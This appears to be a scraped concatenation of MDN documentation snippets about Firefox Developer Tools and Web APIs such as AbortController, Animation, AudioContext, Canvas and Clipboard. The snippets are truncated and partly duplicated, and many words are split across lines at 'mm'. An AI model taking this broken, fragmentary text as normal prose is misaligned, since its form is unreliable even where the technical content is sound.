mmer doesn't generally have to worry about deallocating memory. they can just create and use objects, and when the objects are no longer needed, the runtime takes care of cleaning up, and frees the memory the objects occupied. reachability in modern javascript implementations, the runtime decides whether an object is no longer needed based on reachability. in this system the heap is represented as...
...eases to exist, what's the total amount of memory freed?". dominators a related concept is that of the dominator. node b is said to dominate node a if every path from the root to a passes through b: if any of node a's dominators are freed, then node a itself becomes eligible for garbage collection. if node b dominates node a, but does not dominate any of a's other dominators, then b is the i
mmediate dominator of a: one slight subtlety here is that if an object a is referenced by two other objects b and c, then neither object is its dominator, because you could remove either b or c from the graph, and a would still be retained by its other referrer. instead, the i
mmediate dominator of a would be its first co
mmon ancestor: see also dominators in graph theory. tracing garbage coll...
Dominators view - Firefox Developer Tools
of two panels: the dominators tree panel shows you which nodes in the snapshot are retaining the most memory the retaining paths panel (new in firefox 47) shows the 5 shortest retaining paths for a single node. dominators tree panel the dominators tree tells you which objects in the snapshot are retaining the most memory. in the main part of the ui, the first row is labeled "gc roots". i
mmediately underneath that is an entry for: every gc root node. in gecko, there is more than one memory graph, and therefore more than one root. there may be many (often temporary) roots. for example: variables allocated on the stack need to be rooted, or internal caches may need to root their elements. any other node that's referenced from two different roots (since in this case, neither roo...
...red by the amount of memory that they retain. for example: in this screenshot we can see five entries under "gc roots". the first two are call and window objects, and retain about 21% and 8% of the total size of the memory snapshot, respectively. you can also see that these objects have a relatively tiny "shallow size", so almost all of the retained size is in the objects that they dominate. i
mmediately under each gc root, you'll see all the nodes for which this root is the i
mmediate dominator. these nodes are also ordered by their retained size. for example, if we click on the first window object: we can see that this window dominates a css2properties object, whose retained size is 2% of the total snapshot size. again the shallow size is very small: almost all of its retained size i...
Page inspector 3-pane mode - Firefox Developer Tools
when activated, this allows you to see the following simultaneously: the html pane on the left hand side, as usual. the css rules in the middle in their own separate pane, rather than as a tab. the other css related features — such as computed styles view, animations view, and fonts view — in tabs on the right hand side, as usual. note: at narrower browser window widths, the tabs appear below the css rules pane. ...
...hrough the 3-pane inspector is disabled by default. it is enabled via a toggle control found in the tabs pane on the left hand side. press the toggle control to toggle between the 2- and 3-pane views. with the 3-pane mode enabled, you can observe live changes in css features as you edit the rules applied to the page. for example, you could edit a css grid property and observe the change i
mmediately in the grid inspector. enabling the 3-pane inspector pre-firefox 62 in earlier versions of firefox (since firefox 59/60), you can enable 3 pane mode in release/beta by going to about:config and flipping the following prefs to true: devtools.inspector.split-rule-enabled — this switches 3-pane mode on and off. devtools.inspector.split-sidebar-toggle — this adds the ui toggle butto...
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
the grid inspector allows you to examine css grid layouts using the firefox devtools, discovering grids present on a page, examining and modifying them, debugging layout issues, and more. note: the examples shown in the screenshots appearing in this article are jen si
mmons' futurismo and variations on a grid experiments, and a live named grid area example from rachel andrew. discovering css grids when an html element on your page has display: grid applied to it, a number of features are made available in the devtools to provide easy access to grid features. in the html pane in the html pane, elements laid out using a grid have a "grid" marker beside them. in the css pane in the css pane's rules view, any instance of a display: grid declaration gets a grid icon included within it:...
...ent on a page has an entry in the "overlay grid" section: each entry consists of (from left to right): a checkbox allowing you to toggle the grid overlay for that grid on and off. a name label to represent the grid, consisting of a selector identifying the html element that has the grid applied to it. clicking this also toggles the grid overlay on and off. a target icon that when clicked i
mmediately selects the html element that this grid entry relates to, inside the html pane. a color picker icon that allows you to change the primary color of the grid overlay. this is useful for selecting different colors so you can easily tell your grids apart. inspecting a subgrid when the page contains a grid with a subgrid, the entry for the subgrid is indented under its parent in the overla...
Waterfall - Firefox Developer Tools
aking is easy to correlate from one to the other. filtering markers you can control which markers are displayed using a button in the toolbar: waterfall patterns exactly what you'll see in the waterfall is very dependent on the kind of thing your site is doing: javascript-heavy sites will have a lot of orange, while visually dynamic sites will have a lot of purple and green. but there are co
mmon patterns which can alert you to possible performance problems. rendering waterfall one pattern that you'll often see in the waterfall view is something like this: this is a visualization of the basic algorithm the browser uses to update the page in response to some event: javascript function call: some event - for example, a dom event - causes some javascript in the page to run. the jav...
...ed "layout" but is also sometimes called "reflow". paint: finally, the browser needs to repaint the elements to the screen. one last step is not shown in this sequence: the page may be split into layers, which are painted independently and then combined in a process called "composition". this sequence needs to fit into a single frame, since the screen isn't updated until it is complete. it's co
mmonly accepted that 60 frames per second is the rate at which animations will appear smooth. for a rate of 60 frames per second, that gives the browser 16.7 milliseconds to execute the complete flow. importantly for responsiveness, the browser doesn't always have to go through every step: css animations update the page without having to run any javascript. not all css property changes cause a ...
Taking screenshots - Firefox Developer Tools
ard. taking screenshots with the web console if you need to specify a different device-pixel-ratio, set a delay before taking the screenshot, or specify your own file name, starting in firefox 62 you can use the :screenshot helper function in the web console. type :screenshot in the web console to create a screenshot of the current page. by default, the image file will be named screen shot yyy-
mm-dd at hh.
mm.ss.png. tip: you could type :s and then hit tab to autocomplete :screenshot. the co
mmand has the following optional parameters: co
mmand type description --clipboard boolean when present, this parameter will cause the screenshot to be copied to the clipboard. prevents saving to a file unless you use the --file option to force file writing. --...
... ...
Toolbox - Firefox Developer Tools
een standalone and attached to the browser window access developer tool settings settings see the separate page on the developer tools settings. main pane the content of the main pane in the window is entirely controlled by, and specific to, the hosted tool currently selected. keyboard shortcuts these shortcuts work whenever the toolbox is open, no matter which tool is active. co
mmand windows macos linux cycle through tools left to right ctrl + ] cmd + ] ctrl + ] cycle through tools right to left ctrl + [ cmd + [ ctrl + [ toggle between active tool and settings. f1 f1 f1 toggle toolbox between the last 2 docking modes ctrl + shift + d cmd + shift + d ctrl + shift + d toggle sp...
...cmd + [ ctrl + [ toggle between active tool and settings. ...
View Source - Firefox Developer Tools
view source features view source has three additional features, which can be accessed from the context menu in the view source tab: go to line scrolls to the specified line. if the number is higher than the lines in a file, you receive an error message. ...
...ors are parse errors according to the html specification, not all parse errors are reported by view source. among the errors that don't get reported: bytes that are illegal according to the document's encoding aren't marked as errors. forbidden characters aren't reported as errors. errors related to the end-of-file aren't reported. tree builder errors relating to text (as opposed to tags, co
mments, or doctypes) aren't reported. parse errors related to xmlns attributes aren't reported. xml syntax highlighting view source uses the html tokenizer when highlighting xml source. while the tokenizer has support for processing instructions when highlighting xml source, that's the only xml-specific capability provided. because of this, doctypes that have an internal subset are not highlight...
Split console - Firefox Developer Tools
as usual, $0 works as a shorthand for the element currently selected in the inspector: when you use the split console with the debugger, the console's scope is the currently executing stack frame. ...
... as usual, $0 works as a shorthand for the element currently selected in the inspector: when you use the split console with the debugger, the console's scope is the currently executing stack frame. ...
Web Console UI Tour - Firefox Developer Tools
enable autocompletion: when enabled, the javascript interpreter attempts to autocomplete while you type. instant evaluation: when enabled, the interpreter displays the evaluated results of an expression, when possible, before you press enter to submit it. message display pane this is where the messages appear, both those generated by the code in the page, and those generated by the co
mmands entered on the co
mmand line. see console messages for a lot more detail on what the messages can contain. note: you can clear the contents of the console by entering the keyboard co
mmand ctrl + shift + l (windows, macos, and linux) or cmd + k on macos. co
mmand line the co
mmand line starts with double angle brackets (>>). use it to enter javascript expressions. in firefox 71 onwards, th...
...ot more detail on what the messages can contain. note: you can clear the contents of the console by entering the keyboard co
mmand ctrl + shift + l (windows, macos, and linux) or cmd + k on macos. co
mmand line the co
mmand line starts with double angle brackets (>>). use it to enter javascript expressions. in firefox 71 onwards, there is a new "split pane" icon on the right hand side of the co
mmand line — clicking this will open the new console multi-line mode. ...
Web Console - Firefox Developer Tools
t enables you to interact with a web page by executing javascript expressions in the context of the page user interface of the web console parts of the web console ui. the javascript input interpreter how to interact with a document using the console. split console use the console alongside other tools. console messages details of the messages that the console logs. helper co
mmands co
mmands you can use that are not part of javascript. rich output see and interact with objects logged by the console. keyboard shortcuts shortcut reference. opening the web console you open the web console from a menu or with a keyboard shortcut: choose web console from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on mac os x) ...
... that are not part of javascript. rich output see and interact with objects logged by the console. keyboard shortcuts shortcut reference. opening the web console you open the web console from a menu or with a keyboard shortcut: choose web console from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on mac os x) press the ctrl+shift+k (co
mmand+option+k on os x) keyboard shortcut. the toolbox appear at the bottom, left, or right of the browser window (depending on your docking settings), with the web console activated (it's just called console in the devtools toolbar). ...
AbortController.signal - Web APIs
syntax var signal = abortcontroller.signal; value an abortsignal object instance. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). ...
...on fetchvideo() { ... fetch(url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. you can find a full working example on github — see abort-api (see it running live also). specifications specification status co
mment domthe definition of 'signal' in that specification. living standard initial definition ...
AbortController - Web APIs
the abortcontroller interface represents a controller object that allows you to abort one or more web requests as and when desired. you can create a new abortcontroller object using the abortcontroller.abortcontroller() constructor. co
mmunicating with a dom request is done using an abortsignal object. constructor abortcontroller() creates a new abortcontroller object instance. properties abortcontroller.signal read only returns a abortsignal object instance, which can be used to co
mmunicate with/abort a dom request. methods abortcontroller.abort() aborts a dom request before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. examples in the following snippet, we aim to download a video using the fetch api. ...
... ... fetch(url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with a domexception named aborterror. you can find a full working example on github — see abort-api (see it running live also). specifications specification status co
mment domthe definition of 'abortcontroller' in that specification. living standard initial definition ...
AbortSignal.aborted - Web APIs
the aborted read-only property returns a boolean that indicates whether the dom request(s) the signal is co
mmunicating with is/are aborted (true) or not (false). syntax var isaborted = abortsignal.aborted; value a boolean examples in the following snippet, we create a new abortcontroller object, and get its abortsignal (available in the signal property). later on we check whether or not it the signal has been aborted using the aborted property, and send an appropriate log to the console. var controller = new abortcontroller(); var signal = controller.signal; // ... ...
...lable in the signal property). later on we check whether or not it the signal has been aborted using the aborted property, and send an appropriate log to the console. var controller = new abortcontroller(); var signal = controller.signal; // ... signal.aborted ? console.log('request has been aborted') : console.log('request not aborted'); specifications specification status co
mment domthe definition of 'onabort' in that specification. living standard initial definition ...
AbstractRange - Web APIs
s given when calling setstart() and setend(). given the offset of 11 into the heading's text, that node will contain "an interesting thing...". similarly, the last text node will contain simply "ve", given the request for the first two characters of the ending node. the resulting document fragment looks like this: notice especially that the contents of this fragment are all below the shared co
mmon parent of the topmost nodes within it. the parent <section> is not needed to replicate the cloned content, so it is isn't included. example consider this simple html fragment of html. <p><strong>this</strong> is a paragraph.</p> imagine using a range to extract the word "paragraph" from this. the code to do that looks like the following: let paranode = document.queryselector("p"); let para...
...ss the word "paragraph". we then finish up by calling clonecontents() on the range to create a new documentfragment object which contains the portion of the document encompassed by the range. after that, we use appendchild() to add that fragment at the end of the document's body, as obtained from document.body. the result looks like this: specifications specification status co
mment domthe definition of 'abstractrange' in that specification. living standard ...
AbstractWorker - Web APIs
as an abstract class, you don't directly interact with abstractworker. properties the abstractworker interface doesn't inherit any properties. event handlers abstractworker.onerror an eventlistener which is invoked whenever an errorevent of type error bubbles through the worker. methods the abstractworker interface doesn't implement or inherit any methods. ...
... living standard no change from unknown. ...
Accelerometer.x - Web APIs
a second. ...
...requency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. accelerometerthe definition of 'x' in that specification. candidate reco
mmendation ...
Accelerometer.y - Web APIs
a second. ...
...requency: 60}); accelerometer.addeventlistener('reading', e => { console.log("acceleration along the x-axis " + accelerometer.x); console.log("acceleration along the y-axis " + accelerometer.y); console.log("acceleration along the z-axis " + accelerometer.z); }); accelerometer.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. accelerometerthe definition of 'y' in that specification. candidate reco
mmendation ...
Animation.onfinish - Web APIs
the animation interface's onfinish property (from the web animations api) is the event handler for the finish event. this event is sent when the animation finishes playing. the finish event occurs when the animation completes naturally, as well as when the animation.finish() method is called to i
mmediately cause the animation to finish up. the "paused" play state supersedes the "finished" play state; if the animation is both paused and finished, the "paused" state is the one that will be reported. you can force the animation into the "finished" state by setting its starttime to document.timeline.currenttime - (animation.currenttime * animation.playbackrate). syntax var finishhandler = animation.onfinish; animation.onfinish = finishhandler; value a function to be called to handle ...
... working draft editor's draft. ...
Animation.onremove - Web APIs
event, or null if no remove event handler is set. examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.co
mmitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves. the event handler sets up an animation that animates the <div> element to the position of the mouse pointer. this could result in a huge anima...
...hat animates the <div> element to the position of the mouse pointer. this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. a console message is logged each time an animation it removed, invoked when the remove event is fired. specifications specification status co
mment web animationsthe definition of 'animation.onremove' in that specification. working draft editor's draft. ...
Animation.persist() - Web APIs
ist(); parameters none. return value none. examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.co
mmitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves. the event handler sets up an animation that animates the <div> element to the position of the mouse pointer. this could result in a huge anima...
...> element to the position of the mouse pointer. this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. you can see the replacestate of the animation being logged at the end of the handler. this will be active for each animation by default, or persisted if the persist() call is unco
mmented. specifications specification status co
mment web animationsthe definition of 'persist()' in that specification. working draft ...
Animation.playState - Web APIs
mple in the growing/shrinking alice game example, players can get an ending with alice crying into a pool of tears. in the game, for performance reasons, the tears should only be animating when they're visible. so they must be paused as soon as they are animated like so: // setting up the tear animations tears.foreach(function(el) { el.animate( tearsfalling, { delay: getrando
mmsrange(-1000, 1000), // randomized for each tear duration: getrando
mmsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: 'cubic-bezier(0.6, 0.04, 0.98, 0.335)' }); el.pause(); }); // play the tears falling when the ending needs to be shown. tears.foreach(function(el) { el.play(); }); // reset the crying tears animations and pause them. tear...
... working draft initial definition. ...
Animation.replaceState - Web APIs
moved: the animation has been explicitly removed. examples in our simple replace indefinite animations demo, you can see the following code: const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.co
mmitstyles(); //anim.persist() anim.onremove = function() { console.log('animation removed'); } console.log(anim.replacestate); }); here we have a <div> element, and an event listener that fires the event handler code whenever the mouse moves. the event handler sets up an animation that animates the <div> element to the position of the mouse pointer. this could result in a huge anima...
...> element to the position of the mouse pointer. this could result in a huge animations list, which could create a memory leak. for this reason, modern browsers automatically remove overriding forward filling animations. you can see the replacestate of the animation being logged at the end of the handler. this will be active for each animation by default, or persisted if the persist() call is unco
mmented. specifications specification status co
mment web animationsthe definition of 'animation.replacestate' in that specification. working draft ...
Animation.updatePlaybackRate() - Web APIs
playback position on the main thread may have drifted from the playback position where it is currently running. updateplaybackrate() is an asynchronous method that sets the speed of an animation after synchronizing with its current playback position, ensuring that the resulting change in speed does not produce a sharp jump. after calling updateplaybackrate() the animation's playbackrate is not i
mmediately updated. it will be updated once the animation's ready promise is resolved. syntax animation.updateplaybackrate(2); parameters playbackrate the new speed to set. this may be a positive number (to speed up or slow down the animation), a negative number (to make it play backwards), or zero (to effectively pause the animation). return value none. examples a speed selector co...
...none. examples a speed selector component would benefit from smooth updating of updateplaybackrate(), as demonstrated below: speedselector.addeventlistener('input', evt => { cartoon.updateplaybackrate(parsefloat(evt.target.value)); cartoon.ready.then(() => { console.log(`playback rate set to ${cartoon.playbackrate}`); }); }); specifications specification status co
mment web animationsthe definition of 'updateplaybackrate()' in that specification. working draft ...
AnimationEffect.getComputedTiming() - Web APIs
if effecttiming.duration is the string auto, this attribute will return 0. fill the auto value is replaced with the appropriate effecttiming.fill value. ...
...ugh its current iteration with values between 0 and 1. returns null if the animation is not running or its keyframeeffect isn't associated with an animation. currentiteration the number of times this animation has looped, starting from 0. returns null if the animation is not running or its keyframeeffect isn't associated with an animation. specifications specification status co
mment web animationsthe definition of 'animationeffect.getcomputedtiming()' in that specification. working draft editor's draft. ...
ArrayBufferView - Web APIs
...
...nt8array, uint8clampedarray, int16array, uint16array, int32array, uint32array, float32array, float64array or dataview. this is a helper type to simplify the specification; it isn't an interface, and there are no objects implementing it. specifications specification status co
mment web idlthe definition of 'arraybufferview' in that specification. candidate reco
mmendation initial definition. ...
AudioBuffer.getChannelData() - Web APIs
the particular channel to get data for. an index value of 0 represents the first channel. if the channel index value is greater than of equal to audiobuffer.numberofchannels, an index_size_err exception will be thrown. return value a float32array. example in the following example we create a two second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the co
mments should clearly explain what is going on. you can also run the code live, or view the source. var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var button = document.queryselector('button'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // stereo var channels = 2; // create an empty two se...
... working draft ...
AudioBufferSourceNode.start() - Web APIs
syntax audiobuffersourcenode.start([when][, offset][, duration]); parameters when optional the time, in seconds, at which the sound should begin to play, in the same time coordinate system used by the audiocontext. if when is less than (audiocontext.currenttime, or if it's 0, the sound begins to play at once. the default value is 0. ...
... working draft ...
AudioBufferSourceNode - Web APIs
n be used to change the pitch of the sample. this value is compounded with detune to determine the final playback rate. event handlers inherits event handlers from its parent, audioscheduledsourcenode. methods inherits methods from its parent, audioscheduledsourcenode. audiobuffersourcenode.start() used to schedule playback of the audio data contained in the buffer, or to begin playback i
mmediately. examples in this example, we create a two-second buffer, fill it with white noise, and then play it using an audiobuffersourcenode. the co
mments should clearly explain what is going on. you can also run the code live, or view the source. var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create an empty three-second stereo buffer at the sample rate of the...
... working draft ...
AudioContext - Web APIs
the audiocontext interface represents an audio-processing graph built from audio modules linked together, each represented by an audionode. an audio context controls both the creation of the nodes it contains and the execution of the audio processing, or decoding. you need to create an audiocontext before you do anything else, as everything happens inside a context. it's reco
mmended to create one audiocontext and reuse it instead of initializing a new one each time, and it's ok to use a single audiocontext for several different audio source and pipeline concurrently. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolut...
...s. examples basic audio context declaration: var audioctx = new audiocontext(); cross browser variant: var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); var finish = audioctx.destination; // etc. specifications specification status co
mment web audio apithe definition of 'audiocontext' in that specification. working draft ...
AudioNode.channelInterpretation - Web APIs
mixed together. the surround channels are slightly attenuated and the regular lateral channels are power-compensated to make them count as a single channel by multiplying by √2/2. the subwoofer (lfe) channel is lost. output.m = 0.7071 * (input.l + input.r) + input.c + 0.5 * (input.sl + input.sr) 6 (5.1) 2 (stereo) down-mix from 5.1 to stereo. the central channel (c) is su
mmed with each lateral surround channel (sl or sr) and mixed to each lateral channel. as it is mixed down to two channels, it is mixed at a lower power: in each case it is multiplied by √2/2. the subwoofer (lfe) channel is lost. output.l = input.l + 0.7071 * (input.c + input.sl) output.r = input.r + 0.7071 * (input.c + input.sr) 6 (5.1) 4 (quad) down-mix from 5.1 to quad. ...
...a channelinterpretation. example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelinterpretation = 'discrete'; specifications specification status co
mment web audio apithe definition of 'channelinterpretation' in that specification. working draft ...
AudioNode - Web APIs
de plays a sound, it will take half a second until that sound can be heard on your speakers (or even longer because of latency in the underlying audio device). therefore, if you need to have interactive audio, keep the graph as small as possible, and put user-controlled audio nodes at the end of a graph. for example, a volume control (gainnode) should be the last node so that volume changes take i
mmediate effect. each input and output has a given amount of channels. for example, mono audio has one channel, while stereo audio has two channels. the web audio api will up-mix or down-mix the number of channels as required; check the web audio spec for details. for a list of all audio nodes, see the web audio api homepage. creating an audionode there are two ways to create an audionode: via t...
... working draft ...
CanvasRenderingContext2D.clearRect() - Web APIs
parameters x the x-axis coordinate of the rectangle's starting point. y the y-axis coordinate of the rectangle's starting point. width the rectangle's width. positive values are to the right, and negative to the left. height the rectangle's height. positive values are down, and negative are up. examples erasing the whole canvas this code snippet erases the entire canvas. this is co
mmonly required at the start of each frame in an animation. the dimensions of the cleared area are set to equal the <canvas> element's width and height attributes. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.clearrect(0, 0, canvas.width, canvas.height); erasing part of a canvas this example draws a blue triangle on top of a yellowish background. the ...
... living standard ...
CanvasRenderingContext2D.currentTransform - Web APIs
examples manually changing the matrix this example uses the currenttransform property to set a transformation matrix. a rectangle is then drawn using that transformation. ...
... examples manually changing the matrix this example uses the currenttransform property to set a transformation matrix. a rectangle is then drawn using that transformation. ...
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
that exclude themselves where they overlap. ...
...n = 'xor'; ctx.fillstyle = 'blue'; ctx.fillrect(10, 10, 100, 100); ctx.fillstyle = 'red'; ctx.fillrect(50, 50, 100, 100); result specifications specification status co
mment html living standardthe definition of 'canvasrenderingcontext2d.globalcompositeoperation' in that specification. living standard compositing and blending level 1 candidate reco
mmendation ...
CanvasRenderingContext2D.lineJoin - Web APIs
t same position) are also ignored. note: lines can be drawn with the stroke(), strokerect(), and stroketext() methods. syntax ctx.linejoin = "bevel" || "round" || "miter"; options there are three possible values for this property: "round", "bevel", and "miter". the default is "miter". "round" rounds off the corners of a shape by filling an additional sector of disc centered at the co
mmon endpoint of connected segments. the radius for these rounded corners is equal to the line width. "bevel" fills an additional triangular area between the co
mmon endpoint of connected segments, and the separate outside rectangular corners of each segment. "miter" connected segments are joined by extending their outside edges to connect at a single point, with the effect of filling an addition...
... living standard ...
CanvasRenderingContext2D.setLineDash() - Web APIs
above a solid line. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // dashed line ctx.beginpath(); ctx.setlinedash([5, 15]); ctx.moveto(0, 50); ctx.lineto(300, 50); ctx.stroke(); // solid line ctx.beginpath(); ctx.setlinedash([]); ctx.moveto(0, 100); ctx.lineto(300, 100); ctx.stroke(); result some co
mmon patterns this example illustrates a variety of co
mmon line dash patterns. html <canvas id="canvas"></canvas> javascript the drawdashedline() function created below makes the drawing of multiple dashed lines simple. it receives a pattern array as its only parameter. function drawdashedline(pattern) { ctx.beginpath(); ctx.setlinedash(pattern); ctx.moveto(0, y); ctx.lineto(300, y); ...
... living standard ...
CanvasRenderingContext2D - Web APIs
draw anything you like. this code draws a house: // set line width ctx.linewidth = 10; // wall ctx.strokerect(75, 140, 150, 110); // door ctx.fillrect(130, 190, 40, 60); // roof ctx.beginpath(); ctx.moveto(50, 140); ctx.lineto(150, 60); ctx.lineto(250, 140); ctx.closepath(); ctx.stroke(); the resulting drawing looks like this: reference drawing rectangles there are three methods that i
mmediately draw rectangles to the canvas. canvasrenderingcontext2d.clearrect() sets all pixels in the rectangle defined by starting point (x, y) and size (width, height) to transparent black, erasing any previously drawn content. canvasrenderingcontext2d.fillrect() draws a filled rectangle at (x, y) position whose size is determined by width and height. canvasrenderingcontext2d.strokerect() ...
...viewport clipping and scrolling. canvasrenderingcontext2d.demote() this causes a context that is currently using a hardware-accelerated backend to fallback to a software one. all state should be preserved. internet explorer canvasrenderingcontext2d.msfillrule the fill rule to use. this must be one of evenodd or nonzero (default). specifications specification status co
mment html living standardthe definition of 'canvasrenderingcontext2d' in that specification. living standard ...
Applying styles and colors - Web APIs
e position, are skipped). there are three possible values for this property: round, bevel and miter. by default this property is set to miter. note that the linejoin setting has no effect if the two connected segments have the same direction, because no joining area will be added in this case. round rounds off the corners of a shape by filling an additional sector of disc centered at the co
mmon endpoint of connected segments. the radius for these rounded corners is equal to half the line width. bevel fills an additional triangular area between the co
mmon endpoint of connected segments, and the separate outside rectangular corners of each segment. miter connected segments are joined by extending their outside edges to connect at a single point, with the effect of filling an additio...
...value is 10.0 in the html <canvas>), so the miterlimit can be set independently from the current display scale or any affine transforms of paths: it only influences the effectively rendered shape of line edges. more exactly, the miter limit is the maximum allowed ratio of the extension length (in the html canvas, it is measured between the outside corner of the joined edges of the line and the co
mmon endpoint of connecting segments specified in the path) to half the line width. it can equivalently be defined as the maximum allowed ratio of the distance between the inside and outside points of jonction of edges, to the total line width. it is then equal to the cosecant of half the minimum inner angle of connecting segments below which no miter join will be rendered, but only a bevel join: ...
Channel Messaging API - Web APIs
note: this feature is available in web workers. channel messaging concepts and usage a message channel is created using the messagechannel() constructor. ...
... living standard ...
ChildNode - Web APIs
it's implemented by element, documenttype, and characterdata objects. properties there are neither inherited, nor specific properties. methods there are no inherited methods. childnode.remove() removes this childnode from the children list of its parent. childnode.before() inserts a set of node or domstring objects in the children list of this childnode's parent, just before this childnode. domstring objects are inserted as equivalent text nodes. childnode.after() inserts a set of node or domstring objects in the children list of this childnode's parent, just after this childnode. ...
...node or domstring objects in the children list of this childnode's parent, just after this childnode. domstring objects are inserted as equivalent text nodes. childnode.replacewith() replaces this childnode in the children list of its parent with a set of node or domstring objects. domstring objects are inserted as equivalent text nodes. specifications specification status co
mment domthe definition of 'childnode' in that specification. living standard split the elementtraversal interface in parentnode and childnode. previouselementsibling and nextelementsibling are now defined on the latter. the characterdata and documenttype implemented the new interfaces. added the remove(), before(), after() and replacewith() methods. element traversal spe...
Clients.claim() - Web APIs
d of the clients interface allows an active service worker to set itself as the controller for all clients within its scope. this triggers a "controllerchange" event on navigator.serviceworker in any clients that become controlled by this service worker. when a service worker is initially registered, pages won't use it until they next load. the claim() method causes those pages to be controlled i
mmediately. be aware that this results in your service worker controlling pages that loaded regularly over the network, or possibly via a different service worker. syntax await clients.claim(); parameters none. return value a promise that resolves to undefined. example the following example uses claim() inside service worker's "activate" event listener so that clients loaded in the same sco...
...a promise that resolves to undefined. example the following example uses claim() inside service worker's "activate" event listener so that clients loaded in the same scope do not need to be reloaded before their fetches will go through this service worker. self.addeventlistener('activate', event => { event.waituntil(clients.claim()); }); specifications specification status co
mment service workersthe definition of 'claim()' in that specification. working draft initial definition. ...
Clipboard - Web APIs
ompleted. the promise is rejected if clipboard access is denied. the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined progra
mming interfaces. a typical application accesses clipboard functionality by mapping user input such as keybindings, menu selections, etc. to these interfaces. methods clipboard is based on the eventtarget interface, and includes its methods. read() requests arbitrary data (such as images) from the clipboard, returning a promise. when the data has been retrieved, the promise is resolved with ...
...e able to use clipboard.readtext() and clipboard.writetext(). content scripts applied on http sites do not have access to the clipboard object. see extensions in firefox 63. in addition, read() and write() are disabled by default and require changing a preference to enable them. check the compatibility tables for each method before using it. specifications specification status co
mment clipboard api and eventsthe definition of 'clipboard' in that specification. working draft initial definition. ...
Clipboard API - Web APIs
the clipboard api provides the ability to respond to clipboard co
mmands (cut, copy, and paste) as well as to asynchronously read from and write to the system clipboard. access to the contents of the clipboard is gated behind the permissions api: the clipboard-write permission is granted automatically to pages when they are in the active tab. the clipboard-read permission must be requested, which you can do by trying to read data from the clipboard. this api is designed to supersede accessing the clipboard using document.execco
mmand(). accessing the clipboard instead of creating a clipboard object through instantiation, you access the system clipboard through the navigator.clipboard global: navigator.clipboard.readtext().then( cliptext => document.queryselector(".editor").innertext += ...
... ...
Console API - Web APIs
ogle chrome devtools implementation safari devtools implementation usage is very simple — the console object — available via window.console, or workerglobalscope.console in workers; accessible using just console — contains many methods that you can call to perform rudimentary debugging tasks, generally focused around logging various values to the browser's web console. by far the most co
mmonly-used method is console.log, which is used to log the current value contained inside a specific variable. interfaces console provides rudimentary debugging functionality, including logging, stack traces, timers, and counters. examples let mystring = 'hello world'; // output "hello world" to the console console.log(mystring) see the console reference page for more examples. specifica...
...d to log the current value contained inside a specific variable. interfaces console provides rudimentary debugging functionality, including logging, stack traces, timers, and counters. examples let mystring = 'hello world'; // output "hello world" to the console console.log(mystring) see the console reference page for more examples. specifications specification status co
mment console api living standard initial definition. ...
Credential Management API - Web APIs
hared credentials later version of the spec allow credentials to be retrieved from a different subdomain. for example, a password stored in login.example.com may be used to log in to www.example.com. to take advantage of this, a password must be explicitly stored by calling credentialscontainer.store(). this is sometimes referred to as public suffix list (psl) matching; however the spec only reco
mmends using psl to determine the effective scope of a credential. it does not require it. hence browsers may vary in their implementation. interfaces credential provides information about an entity as a prerequisite to a trust decision. credentialscontainer exposes methods to request credentials and notify the user agent when interesting events occur such as successful sign in or sign out. t...
